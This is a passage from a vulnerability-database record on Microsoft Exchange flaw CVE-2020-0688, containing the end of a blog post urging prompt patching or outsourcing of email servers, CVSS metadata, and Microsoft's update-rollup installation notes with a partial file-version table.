more important for you to keep your email out of megacorp or government hands than it is to keep it from targeted or opportunistic intruders across the Internet. \n \nIncidentally, you've made another mistake. Those same governments you fear, at least many of them, will just leverage Metasploit to break into your janky email server anyway. \n \nThe bottom line is that unless your organization is willing to commit the resources, attention, and expertise to maintaining a properly configured and patched email system, you should outsource it. Otherwise you are being negligent with not only your organization's information, but the information of anyone with whom you exchange emails.\n\nCopyright 2003-2020 Richard Bejtlich and TaoSecurity (taosecurity.blogspot.com and www.taosecurity.com)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-04-07T15:28:00", "type": "taosecurity", "title": "If You Can't Patch Your Email Server, You Should Not Be Running It", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-04-07T15:28:11", "id": "TAOSECURITY:CF99A8E68CF7727296D8451EE445844C", "href": "https://taosecurity.blogspot.com/2020/04/if-you-cant-patch-your-email-server-you.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "mskb": [{"lastseen": "2021-12-31T15:39:34", "description": "None\nThis update rollup is a security update that provides a security advisory in Microsoft Exchange. To learn more about these vulnerabilities, see the following Common Vulnerabilities and Exposures (CVE):\n\n * [CVE-2020-0688 | Microsoft Exchange Memory Corruption Vulnerability](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0688>)\nThis update also fixes the following issue:4540267 MSExchangeDelivery.exe or EdgeTransport.exe crashes in Exchange Server 2013 and Exchange Server 2010\n\n## Known issues in this security update\n\n * When you try to manually install this security update by double-clicking the update file (.msp) to run it in \"Normal mode\" (that is, not as an administrator), some files are not correctly updated.When this issue occurs, you don\u2019t receive an error message or any indication that the security update was not correctly installed. However, Outlook Web Access (OWA) and the Exchange Control Panel (ECP) may stop working. This issue occurs on servers that are using user account control (UAC). The issue occurs because the security update doesn\u2019t correctly stop certain Exchange-related services.To avoid this issue, follow these steps to manually install this security update:\n 1. Select **Start**, and type **cmd**.\n 2. In the results, right-click **Command Prompt**, and then select **Run as administrator**.\n 3. If the **User Account Control** dialog box appears, verify that the default action is the action that you want, and then select **Continue**.\n 4. Type the full path of the .msp file, and then press Enter.\nThis issue does not occur when you install the update through Microsoft Update.\n * Exchange services may remain in a disabled state after you install this security update. This condition does not indicate that the update is not installed correctly. This condition may occur if the service control scripts experience a problem when they try to return Exchange services to its usual state. To fix this issue, use Services Manager to restore the startup type to **Automatic**, and then start the affected Exchange services manually. To avoid this issue, run the security update at an elevated command prompt. For more information about how to open an elevated Command Prompt window, see [Start a Command Prompt as an Administrator](<https://technet.microsoft.com/en-us/library/cc947813\\(v=ws.10\\).aspx>).\n\n## How to get and install the update\n\n### Method 1: Microsoft Update\n\nThis update is available from Microsoft Update. When you turn on automatic updating, this update will be downloaded and installed automatically. For more information about how to get security updates automatically, see [Windows Update: FAQ](<https://support.microsoft.com/help/12373/windows-update-faq>).\n\n### Method 2: Microsoft Update Catalog\n\nTo get the standalone package for this update, go to the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/Search.aspx?q=KB4536989>) website.\n\n### Method 3: Microsoft Download Center\n\nYou can get the standalone update package through the Microsoft Download Center.\n\n * [Download Update Rollup 30 for Exchange Server 2010 SP3 (KB4536989)](<http://www.microsoft.com/download/details.aspx?FamilyID=4d072d3e-153e-4a5a-859e-ad054fe24107>)\n\n## Update detail information for Exchange Server 2010 SP3\n\n### Installation instructions for Exchange Server 2010 SP3\n\nLearn more about [how to install the latest update rollup for Exchange Server 2010](<http://technet.microsoft.com/library/ff637981.aspx>).Also, learn about the following update installation scenarios.\n\n## \n\n__\n\nInstall the update on computers that aren't connected to the internet\n\nWhen you install this update rollup on a computer that isn't connected to the internet, you may experience a long installation time. Additionally, you may receive the following message:\n\nCreating Native images for .Net assemblies.\n\nThis issue is caused by network requests to connect to the following website: \n[http://crl.microsoft.com/pki/crl/products/CodeSigPCA.crl](<http://crl.microsoft.com/pki/crl/products/codesigpca.crl>) \n \nThese network requests are attempts to access the certificate revocation list for each assembly that native image generation (NGen) compiles to native code. However, because the server that's running Exchange Server isn't connected to the internet, each request must wait to time out before the process can continue. \n \nTo fix this issue, follow these steps: \n\n\n 1. In Internet Explorer, select **Internet Options** on the **Tools** menu, and then select **Advanced**.\n 2. In the **Security** section, clear the **Check for publisher's certificate revocation** check box, and then select **OK**. \n \n**Note** Clear this security option only if the computer is in a tightly-controlled environment. \n 3. When the Setup process is finished, select the **Check for publisher's certificate revocation** check box again.\n\n## \n\n__\n\nInstall the update on computers that have customized Outlook Web App files\n\n**Important **Before you apply this update rollup, make a backup copy of any [customized Outlook Web App](<http://technet.microsoft.com/library/ee633483\\(exchg.140\\).aspx>) files. \n \nWhen you apply an update rollup package, the update process updates the Outlook Web App files, if this is required. Therefore, any customizations to the Logon.aspx file or to other Outlook Web App files are overwritten, and you must re-create the Outlook Web App customizations in Logon.aspx.\n\n## \n\n__\n\nInstall the update for CAS Proxy Deployment Guidance customers who deploy CAS-CAS proxying\n\nIf your scenario meets both the following conditions, apply the update rollup on the internet-facing Client Access servers (CAS) before you apply the update rollup on the non\u2013internet-facing CAS:\n\n * You're a CAS Proxy Deployment Guidance customer.\n * You have deployed [CAS-CAS proxying](<http://technet.microsoft.com/library/bb310763\\(exchg.140\\).aspx>).\n**Note **For other Exchange Server 2010 configurations, you don't have to apply the update rollup on your servers in any particular order.\n\n## \n\n__\n\nInstall this update on a DBCS version of Windows Server 2012\n\nYou can't install or uninstall Update Rollup 30 for Exchange Server 2010 SP3 on a double-byte character set (DBCS) version of Windows Server 2012 if the language preference for non-Unicode programs is set to the default language. To work around this issue, you must first change this setting. To do this, follow these steps:\n\n 1. In Control Panel, select **Clock, Region and Language**, select **Region**, and then select **Administrative**.\n 2. In the **Language for non-Unicode programs** area, select **Change system locale**.\n 3. In the **Current system locale** list, select **English (United States)**, and then select **OK**.\nAfter you successfully install or uninstall Update Rollup 30, revert this language setting, as appropriate.\n\nRestart requirementThe required services are restarted automatically after you apply this update rollup.Removal informationTo remove Update Rollup 30 for Exchange Server 2010 SP3, use the **Add or Remove Programs** item in Control Panel to remove update **KB4536989**.More informationSecurity update deployment informationFor deployment information about this update, see [security update deployment information: February 11, 2020](<https://support.microsoft.com/help/20200211>). Security update replacement informationThis security update replaces the following previously released update:\n\n * Description of the security update for Microsoft Exchange Server 2010: July 9, 2019\nFile informationFile hash informationUpdate name| File name| SHA1 hash| SHA256 hash \n---|---|---|--- \nUpdate Rollup 30 for Exchange Server 2010| Exchange2010-KB4536989-x64-en.msp| 2DD3EB1C737743941FB56293BB9A68242F0F52E2| 95B0704B6F7841883C8999F5809A84FD0EBAD9E99F339DA18C47AA63F82963C4 \nExchange Server file informationThe English (United States) version of this update installs files that have the attributes that are listed in the following tables. The dates and times for these files are listed in Coordinated Universal Time (UTC). The dates and times for these files on your local computer are displayed in your local time together with your current daylight-saving time (DST) bias. Additionally, the dates and times may change when you perform certain operations on the files.\n\n## \n\n__\n\nUpdate Rollup 30 for Exchange Server 2010\n\nFile name| File version| File size| Date| Time| Platform \n---|---|---|---|---|--- \nA33e7066a3f143ef8386e08c4458051d_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \nAbv_dg.dll| 14.3.470.0| 898,992| 03-Jan-2020| 05:46| x64 \nAddreplicatopfrecursive.ps1| Not applicable| 13,837| 03-Jan-2020| 05:47| Not applicable \nAddressbook.aspx| Not applicable| 3,830| 03-Jan-2020| 05:49| Not applicable \nAdduserstopfrecursive.ps1| Not applicable| 13,465| 03-Jan-2020| 05:47| Not applicable \nAf46d2bd14db43e0b49619bd0eeb07ec_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \nAggregatepfdata.ps1| Not applicable| 17,393| 03-Jan-2020| 05:47| Not applicable \nAirfilter.dll| 14.3.470.0| 49,584| 03-Jan-2020| 05:48| x64 \nAirsynctistateparser.dll| 14.3.470.0| 83,376| 03-Jan-2020| 05:48| x64 \nAjaxcontroltoolkit.dll| 14.3.470.0| 110,280| 03-Jan-2020| 05:48| x86 \nAlsperf.dll1| 14.3.470.0| 27,568| 03-Jan-2020| 05:46| Not applicable \nAntispamcommon.ps1| Not applicable| 11,413| 03-Jan-2020| 05:46| Not applicable \nAsdat.msi| Not applicable| 5,083,136| 03-Jan-2020| 05:46| Not applicable \nAsentirs.msi| Not applicable| 73,728| 03-Jan-2020| 05:50| Not applicable \nAsentsig.msi| Not applicable| 73,728| 03-Jan-2020| 05:50| Not applicable \nAttachfiledialog.aspx| Not applicable| 5,346| 03-Jan-2020| 05:49| Not applicable \nAutodisc_web.config| Not applicable| 89,637| 03-Jan-2020| 05:49| Not applicable \nBasicaddressbook.aspx| Not applicable| 4,217| 03-Jan-2020| 05:49| Not applicable \nBasicattachmentmanager.aspx| Not applicable| 3,826| 03-Jan-2020| 05:49| Not applicable \nBasicautosaveinfo.aspx| Not applicable| 4,255| 03-Jan-2020| 05:49| Not applicable \nBasiccalendaritemschedulingtab.aspx| Not applicable| 6,908| 03-Jan-2020| 05:49| Not applicable \nBasiccalendarview.aspx| Not applicable| 3,259| 03-Jan-2020| 05:49| Not applicable \nBasiccontactview.aspx| Not applicable| 3,586| 03-Jan-2020| 05:49| Not applicable \nBasiccontactviewwebpart.aspx| Not applicable| 2,485| 03-Jan-2020| 05:49| Not applicable \nBasiceditcalendaritem.aspx| Not applicable| 17,517| 03-Jan-2020| 05:49| Not applicable \nBasiceditcontact.aspx| Not applicable| 6,356| 03-Jan-2020| 05:49| Not applicable \nBasiceditmeetingresponse.aspx| Not applicable| 11,664| 03-Jan-2020| 05:49| Not applicable \nBasiceditmessage.aspx| Not applicable| 8,801| 03-Jan-2020| 05:49| Not applicable \nBasiceditrecurrence.aspx| Not applicable| 14,645| 03-Jan-2020| 05:49| Not applicable \nBasicfoldermanagement.aspx| Not applicable| 3,630| 03-Jan-2020| 05:49| Not applicable \nBasicmeetingpage.aspx| Not applicable| 12,659| 03-Jan-2020| 05:49| Not applicable \nBasicmessageview.aspx| Not applicable| 4,084| 03-Jan-2020| 05:49| Not applicable \nBasicmessageviewwebpart.aspx| Not applicable| 2,625| 03-Jan-2020| 05:49| Not applicable \nBasicmoveitem.aspx| Not applicable| 4,112| 03-Jan-2020| 05:49| Not applicable \nBasicoptions.aspx| Not applicable| 3,506| 03-Jan-2020| 05:49| Not applicable \nBasicreadaddistributionlist.aspx| Not applicable| 4,364| 03-Jan-2020| 05:49| Not applicable \nBasicreadadorgperson.aspx| Not applicable| 4,434| 03-Jan-2020| 05:49| Not applicable \nBasicreadcontact.aspx| Not applicable| 4,406| 03-Jan-2020| 05:49| Not applicable \nBasicreaddistributionlist.aspx| Not applicable| 4,864| 03-Jan-2020| 05:49| Not applicable \nBasicreadmessage.aspx| Not applicable| 7,071| 03-Jan-2020| 05:49| Not applicable \nBpa.common.dll| 14.3.470.0| 233,160| 03-Jan-2020| 05:48| x86 \nBpa.configcollector.dll| 14.3.470.0| 126,664| 03-Jan-2020| 05:48| x86 \nBpa.networkcollector.dll| 14.3.470.0| 69,320| 03-Jan-2020| 05:48| x86 \nBpa.userinterface.dll| 14.3.470.0| 536,264| 03-Jan-2020| 05:48| x86 \nBpa.wizardengine.dll| 14.3.470.0| 134,856| 03-Jan-2020| 05:49| x86 \nBsres.dll| 14.3.470.0| 92,592| 03-Jan-2020| 05:47| x64 \nC3197ef34a9e495cb17370b20389036a_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \nC4f748eeabe04db79b17bab56b1285a4_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \nCalcalculation.ps1| Not applicable| 29,804| 03-Jan-2020| 05:47| Not applicable \nCaptedt.js| Not applicable| 11,208| 03-Jan-2020| 05:46| Not applicable \nCasredirect.aspx| Not applicable| 4,842| 03-Jan-2020| 05:49| Not applicable \nCb8b92743d7f42a7b8e53fe033206469_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \nCheckdatabaseredundancy.ps1| Not applicable| 80,171| 03-Jan-2020| 05:47| Not applicable \nCheckinvalidrecipients.ps1| Not applicable| 20,921| 03-Jan-2020| 05:47| Not applicable \nChksgfiles.dll| 14.3.470.0| 64,944| 03-Jan-2020| 05:46| x64 \nCitsconstants.ps1| Not applicable| 19,383| 03-Jan-2020| 05:49| Not applicable \nCitslibrary.ps1| Not applicable| 171,567| 03-Jan-2020| 05:49| Not applicable \nCitstypes.ps1| Not applicable| 16,664| 03-Jan-2020| 05:49| Not applicable \nClusmsg.dll| 14.3.470.0| 110,512| 03-Jan-2020| 05:48| x64 \nCmmap000.bin| Not applicable| 381,737| 03-Jan-2020| 05:49| Not applicable \nCmn.js| Not applicable| 7,356| 03-Jan-2020| 05:46| Not applicable \nCobrandingdiagnostics.aspx| Not applicable| 1,649| 03-Jan-2020| 05:49| Not applicable \nCollectovermetrics.ps1| Not applicable| 77,533| 03-Jan-2020| 05:47| Not applicable \nCollectreplicationmetrics.ps1| Not applicable| 39,794| 03-Jan-2020| 05:47| Not applicable \nCommonconnectfunctions.ps1| Not applicable| 27,543| 03-Jan-2020| 05:45| Not applicable \nConfigureadam.ps1| Not applicable| 21,183| 03-Jan-2020| 05:47| Not applicable \nConfigurenetworkprotocolparameters.ps1| Not applicable| 16,878| 03-Jan-2020| 05:47| Not applicable \nConfiguresmbipsec.ps1| Not applicable| 37,701| 03-Jan-2020| 05:47| Not applicable \nConnectfunctions.ps1| Not applicable| 32,908| 03-Jan-2020| 05:47| Not applicable \nConnect_exchangeserver_help.xml| Not applicable| 28,838| 03-Jan-2020| 05:47| Not applicable \nConsoleinitialize.ps1| Not applicable| 24,273| 03-Jan-2020| 05:45| Not applicable \nConvertoabvdir.ps1| Not applicable| 17,929| 03-Jan-2020| 05:47| Not applicable \nConverttomessagelatency.ps1| Not applicable| 12,408| 03-Jan-2020| 05:47| Not applicable \nCts.14.0.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 493| 03-Jan-2020| 05:48| Not applicable \nCts.14.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 493| 03-Jan-2020| 05:48| Not applicable \nCts.14.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 493| 03-Jan-2020| 05:48| Not applicable \nCts.14.3.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 493| 03-Jan-2020| 05:48| Not applicable \nCts.8.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 493| 03-Jan-2020| 05:48| Not applicable \nCts.8.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 493| 03-Jan-2020| 05:48| Not applicable \nCts.8.3.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 493| 03-Jan-2020| 05:48| Not applicable \nCtsvw.js| Not applicable| 1,982| 03-Jan-2020| 05:46| Not applicable \nCts_exsmime.dll| 14.3.470.0| 319,920| 03-Jan-2020| 05:46| x64 \nCts_microsoft.exchange.data.common.dll| 14.3.470.0| 1,547,976| 03-Jan-2020| 05:46| x86 \nCts_microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 493| 03-Jan-2020| 05:48| Not applicable \nCts_policy.14.0.microsoft.exchange.data.common.dll| 14.3.470.0| 20,168| 03-Jan-2020| 05:46| x86 \nCts_policy.14.1.microsoft.exchange.data.common.dll| 14.3.470.0| 20,168| 03-Jan-2020| 05:46| x86 \nCts_policy.14.2.microsoft.exchange.data.common.dll| 14.3.470.0| 20,168| 03-Jan-2020| 05:46| x86 \nCts_policy.14.3.microsoft.exchange.data.common.dll| 14.3.470.0| 20,168| 03-Jan-2020| 05:46| x86 \nCts_policy.8.0.microsoft.exchange.data.common.dll| 14.3.470.0| 20,168| 03-Jan-2020| 05:46| x86 \nCts_policy.8.1.microsoft.exchange.data.common.dll| 14.3.470.0| 20,168| 03-Jan-2020| 05:46| x86 \nCts_policy.8.2.microsoft.exchange.data.common.dll| 14.3.470.0| 20,168| 03-Jan-2020| 05:46| x86 \nCts_policy.8.3.microsoft.exchange.data.common.dll| 14.3.470.0| 20,168| 03-Jan-2020| 05:46| x86 \nDaddrbk.js| Not applicable| 5,533| 03-Jan-2020| 05:46| Not applicable \nDagcommonlibrary.ps1| Not applicable| 47,638| 03-Jan-2020| 05:47| Not applicable \nDattach.js| Not applicable| 2,597| 03-Jan-2020| 05:46| Not applicable \nDess.dll| 8.5.3.76| 202,080| 03-Jan-2020| 05:49| x64 \nDevect.dll| 8.5.3.76| 1,883,488| 03-Jan-2020| 05:49| x64 \nDewp.dll| 8.5.3.76| 294,240| 03-Jan-2020| 05:49| x64 \nDf9d06af701642c98d336e7d2e95781c_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \nDiagnosticcmdletcontroller.dll| 14.3.470.0| 47,560| 03-Jan-2020| 05:46| x64 \nDiagnosticscriptcommonlibrary.ps1| Not applicable| 14,864| 03-Jan-2020| 05:49| Not applicable \nDisableinmemorytracing.ps1| Not applicable| 11,238| 03-Jan-2020| 05:47| Not applicable \nDisable_shouldmarkandskipoccupiedcatalog.reg| Not applicable| 288| 03-Jan-2020| 05:48| Not applicable \nDsaccess.dll| 14.3.470.0| 842,160| 03-Jan-2020| 05:46| x64 \nDsaccessperf.dll| 14.3.470.0| 53,680| 03-Jan-2020| 05:46| x64 \nDscperf.dll| 14.3.470.0| 31,664| 03-Jan-2020| 05:46| x64 \nDup_cts_microsoft.exchange.data.common.dll| 14.3.470.0| 1,547,976| 03-Jan-2020| 05:46| x86 \nDup_ext_microsoft.exchange.data.transport.dll| 14.3.470.0| 335,704| 03-Jan-2020| 05:46| x86 \nEcpperfcounters.xml| Not applicable| 29,280| 03-Jan-2020| 05:48| Not applicable \nEdgeextensibility_microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 496| 03-Jan-2020| 05:48| Not applicable \nEdgeextensibility_policy.8.0.microsoft.exchange.data.transport.dll| 14.3.470.0| 20,320| 03-Jan-2020| 05:46| x86 \nEdgetransport.exe| 14.3.470.0| 35,976| 03-Jan-2020| 05:48| x86 \nEditorstandalone.js| Not applicable| 298,514| 03-Jan-2020| 05:46| Not applicable \nEdittask.aspx| Not applicable| 11,565| 03-Jan-2020| 05:49| Not applicable \nEext.14.0.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 496| 03-Jan-2020| 05:48| Not applicable \nEext.14.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 496| 03-Jan-2020| 05:48| Not applicable \nEext.14.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 496| 03-Jan-2020| 05:48| Not applicable \nEext.14.3.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 496| 03-Jan-2020| 05:48| Not applicable \nEext.8.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 496| 03-Jan-2020| 05:48| Not applicable \nEext.8.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 496| 03-Jan-2020| 05:48| Not applicable \nEext.8.3.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 496| 03-Jan-2020| 05:48| Not applicable \nEext_policy.14.0.microsoft.exchange.data.transport.dll| 14.3.470.0| 20,336| 03-Jan-2020| 05:46| x86 \nEext_policy.14.1.microsoft.exchange.data.transport.dll| 14.3.470.0| 20,320| 03-Jan-2020| 05:46| x86 \nEext_policy.14.2.microsoft.exchange.data.transport.dll| 14.3.470.0| 20,312| 03-Jan-2020| 05:46| x86 \nEext_policy.14.3.microsoft.exchange.data.transport.dll| 14.3.470.0| 20,320| 03-Jan-2020| 05:46| x86 \nEext_policy.8.1.microsoft.exchange.data.transport.dll| 14.3.470.0| 20,312| 03-Jan-2020| 05:46| x86 \nEext_policy.8.2.microsoft.exchange.data.transport.dll| 14.3.470.0| 20,336| 03-Jan-2020| 05:46| x86 \nEext_policy.8.3.microsoft.exchange.data.transport.dll| 14.3.470.0| 20,336| 03-Jan-2020| 05:46| x86 \nEf306e728a08437e80fe5a896ded4b48_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \nEnableinmemorytracing.ps1| Not applicable| 11,240| 03-Jan-2020| 05:47| Not applicable \nEnable_crossforestconnector.ps1| Not applicable| 16,474| 03-Jan-2020| 05:47| Not applicable \nEnable_outlookcertificateauthentication.ps1| Not applicable| 26,785| 03-Jan-2020| 05:47| Not applicable \nEnable_shouldmarkandskipoccupiedcatalog.reg| Not applicable| 288| 03-Jan-2020| 05:48| Not applicable \nEscprint.dll| 14.3.470.0| 28,104| 03-Jan-2020| 05:48| x64 \nEse.dll| 14.3.470.0| 3,226,056| 03-Jan-2020| 05:46| x64 \nEseback2.dll| 14.3.470.0| 170,928| 03-Jan-2020| 05:48| x64 \nEsebcli2.dll| 14.3.470.0| 118,704| 03-Jan-2020| 05:48| x64 \nEseperf.dll| 14.3.470.0| 63,408| 03-Jan-2020| 05:48| x64 \nEseutil.exe| 14.3.470.0| 328,624| 03-Jan-2020| 05:48| x64 \nEsevss.dll| 14.3.470.0| 56,752| 03-Jan-2020| 05:48| x64 \nExabp.dll| 14.3.470.0| 266,672| 03-Jan-2020| 05:48| x64 \nExbpa.config.xml| Not applicable| 1,150,789| 03-Jan-2020| 05:49| Not applicable \nExbpa.e12.clientaccess.xml| Not applicable| 18,445| 03-Jan-2020| 05:49| Not applicable \nExbpa.e12.global.xml| Not applicable| 18,835| 03-Jan-2020| 05:49| Not applicable \nExbpa.e12.mailbox.xml| Not applicable| 84,500| 03-Jan-2020| 05:49| Not applicable \nExbpa.e12.transport.xml| Not applicable| 26,051| 03-Jan-2020| 05:49| Not applicable \nExbpa.e12.unifiedmessaging.xml| Not applicable| 20,699| 03-Jan-2020| 05:49| Not applicable \nExbpa.e12.xml| Not applicable| 20,774| 03-Jan-2020| 05:49| Not applicable \nExbpa.esecollector.dll| 14.3.470.0| 102,088| 03-Jan-2020| 05:48| x86 \nExbpa.exchangecollector.dll| 14.3.470.0| 29,384| 03-Jan-2020| 05:48| x86 \nExbpa.exe| 14.3.470.0| 77,512| 03-Jan-2020| 05:46| x86 \nExbpa.permissions.xml| Not applicable| 95,797| 03-Jan-2020| 05:49| Not applicable \nExbpa.prereqs.xml| Not applicable| 222,941| 03-Jan-2020| 05:49| Not applicable \nExbpa.rbac.xml| Not applicable| 42,101| 03-Jan-2020| 05:49| Not applicable \nExbpa.readiness.xml| Not applicable| 71,654| 03-Jan-2020| 05:49| Not applicable \nExbpa.shared.dll| 14.3.470.0| 130,760| 03-Jan-2020| 05:48| x86 \nExbpa.stayinginformed.config.xml| Not applicable| 43,427| 03-Jan-2020| 05:47| Not applicable \nExbpa.transport.xml| Not applicable| 37,643| 03-Jan-2020| 05:49| Not applicable \nExbpacmd.exe| 14.3.470.0| 28,872| 03-Jan-2020| 05:48| x86 \nExbpamdb.dll| 14.3.470.0| 25,000| 03-Jan-2020| 05:49| x64 \nExbpamon.dll| 14.3.470.0| 122,800| 03-Jan-2020| 05:49| x64 \nExchange.format.ps1xml| Not applicable| 263,266| 03-Jan-2020| 05:47| Not applicable \nExchange.partial.types.ps1xml| Not applicable| 19,223| 03-Jan-2020| 05:47| Not applicable \nExchange.ps1| Not applicable| 19,316| 03-Jan-2020| 05:45| Not applicable \nExchange.support.format.ps1xml| Not applicable| 23,089| 03-Jan-2020| 05:47| Not applicable \nExchange.types.ps1xml| Not applicable| 361,212| 03-Jan-2020| 05:47| Not applicable \nExchangeblog.xml| Not applicable| 119,220| 03-Jan-2020| 05:47| Not applicable \nExchmem.dll| 14.3.470.0| 71,600| 03-Jan-2020| 05:46| x64 \nExchsetupmsg.dll| 14.3.470.0| 19,880| 03-Jan-2020| 05:47| x64 \nExchucutil.ps1| Not applicable| 21,531| 03-Jan-2020| 05:47| Not applicable \nExdbfailureitemapi.dll| 14.3.470.0| 65,480| 03-Jan-2020| 05:48| x64 \nExdbmsg.dll| 14.3.470.0| 155,592| 03-Jan-2020| 05:48| x64 \nExfba.exe| 14.3.470.0| 111,024| 03-Jan-2020| 05:49| x64 \nExgdsf.dll| 8.5.3.76| 16,224| 03-Jan-2020| 05:49| x64 \nExhtml.dll| 8.5.3.76| 640,352| 03-Jan-2020| 05:49| x64 \nExmfa.config.xml| Not applicable| 874,094| 03-Jan-2020| 05:49| Not applicable \nExmime.dll| 14.3.470.0| 339,888| 03-Jan-2020| 05:46| x64 \nExpiredpassword.aspx| Not applicable| 7,226| 03-Jan-2020| 05:49| Not applicable \nExportedgeconfig.ps1| Not applicable| 25,266| 03-Jan-2020| 05:47| Not applicable \nExport_outlookclassification.ps1| Not applicable| 12,376| 03-Jan-2020| 05:46| Not applicable \nExport_retentiontags.ps1| Not applicable| 14,920| 03-Jan-2020| 05:47| Not applicable \nExppw.dll| 14.3.470.0| 73,648| 03-Jan-2020| 05:49| x64 \nExprfdll.dll| 14.3.470.0| 33,192| 03-Jan-2020| 05:46| x64 \nExpta.config.xml| Not applicable| 557,925| 03-Jan-2020| 05:49| Not applicable \nExpta.e12.collection.xml| Not applicable| 227,026| 03-Jan-2020| 05:49| Not applicable \nExrdrlbs.dll| 14.3.470.0| 31,152| 03-Jan-2020| 05:47| x64 \nExrpc32.dll| 14.3.470.0| 1,665,968| 03-Jan-2020| 05:48| x64 \nExrw.dll| 14.3.470.0| 35,248| 03-Jan-2020| 05:48| x64 \nExsetdata.dll| 14.3.470.0| 1,811,888| 03-Jan-2020| 05:45| x64 \nExsetup.exe| 14.3.496.0| 41,864| 03-Jan-2020| 05:47| x86 \nExsetupui.exe| 14.3.470.0| 261,760| 03-Jan-2020| 05:47| x86 \nExtra.config.xml| Not applicable| 35,001| 03-Jan-2020| 05:49| Not applicable \nExtra.exe| 14.3.470.0| 130,760| 03-Jan-2020| 05:49| x86 \nExtrace.dll| 14.3.470.0| 170,416| 03-Jan-2020| 05:48| x64 \nExtraceman.config.xml| Not applicable| 87,680| 03-Jan-2020| 05:49| Not applicable \nExtraceman.dll| 14.3.470.0| 69,320| 03-Jan-2020| 05:49| x86 \nExt_microsoft.exchange.data.transport.dll| 14.3.470.0| 335,704| 03-Jan-2020| 05:46| x86 \nExwriter.dll| 14.3.470.0| 545,192| 03-Jan-2020| 05:48| x64 \nFadcnt.js| Not applicable| 5,192| 03-Jan-2020| 05:46| Not applicable \nFedtcali.js| Not applicable| 110,582| 03-Jan-2020| 05:46| Not applicable \nFedtrul.js| Not applicable| 30,339| 03-Jan-2020| 05:46| Not applicable \nFixed.skin| Not applicable| 12,879| 03-Jan-2020| 05:48| Not applicable \nFlogon.js| Not applicable| 4,296| 03-Jan-2020| 05:46| Not applicable \nFreadmsg.js| Not applicable| 13,127| 03-Jan-2020| 05:46| Not applicable \nGalgrammargenerator.exe| 14.3.470.0| 27,784| 03-Jan-2020| 05:48| x86 \nGetdatabaseforsearchindex.ps1| Not applicable| 13,449| 03-Jan-2020| 05:47| Not applicable \nGetsearchindexfordatabase.ps1| Not applicable| 13,373| 03-Jan-2020| 05:47| Not applicable \nGetucpool.ps1| Not applicable| 17,620| 03-Jan-2020| 05:47| Not applicable \nGet_antispamfilteringreport.ps1| Not applicable| 13,717| 03-Jan-2020| 05:48| Not applicable \nGet_antispamsclhistogram.ps1| Not applicable| 12,567| 03-Jan-2020| 05:48| Not applicable \nGet_antispamtopblockedsenderdomains.ps1| Not applicable| 13,635| 03-Jan-2020| 05:48| Not applicable \nGet_antispamtopblockedsenderips.ps1| Not applicable| 12,683| 03-Jan-2020| 05:48| Not applicable \nGet_antispamtopblockedsenders.ps1| Not applicable| 13,406| 03-Jan-2020| 05:48| Not applicable \nGet_antispamtoprblproviders.ps1| Not applicable| 12,613| 03-Jan-2020| 05:48| Not applicable \nGet_antispamtoprecipients.ps1| Not applicable| 12,718| 03-Jan-2020| 05:48| Not applicable \nGet_setuplog.ps1| Not applicable| 15,222| 03-Jan-2020| 05:45| Not applicable \nGet_setuplog_help.xml| Not applicable| 22,267| 03-Jan-2020| 05:47| Not applicable \nGoogle.protocolbuffers.dll| 2.4.1.521| 325,504| 03-Jan-2020| 05:49| x86 \nGradienth.png| Not applicable| 118| 03-Jan-2020| 05:46| Not applicable \nHuffman_xpress.dll| 14.3.470.0| 40,368| 03-Jan-2020| 05:48| x64 \nIbfpx2.dll| 8.5.3.76| 145,760| 03-Jan-2020| 05:49| x64 \nIbgp42.dll| 8.5.3.76| 41,312| 03-Jan-2020| 05:49| x64 \nIbjpg2.dll| 8.5.3.76| 77,664| 03-Jan-2020| 05:49| x64 \nIbpcd2.dll| 8.5.3.76| 171,872| 03-Jan-2020| 05:49| x64 \nIbpsd2.dll| 8.5.3.76| 42,336| 03-Jan-2020| 05:49| x64 \nIbxbm2.dll| 8.5.3.76| 35,680| 03-Jan-2020| 05:49| x64 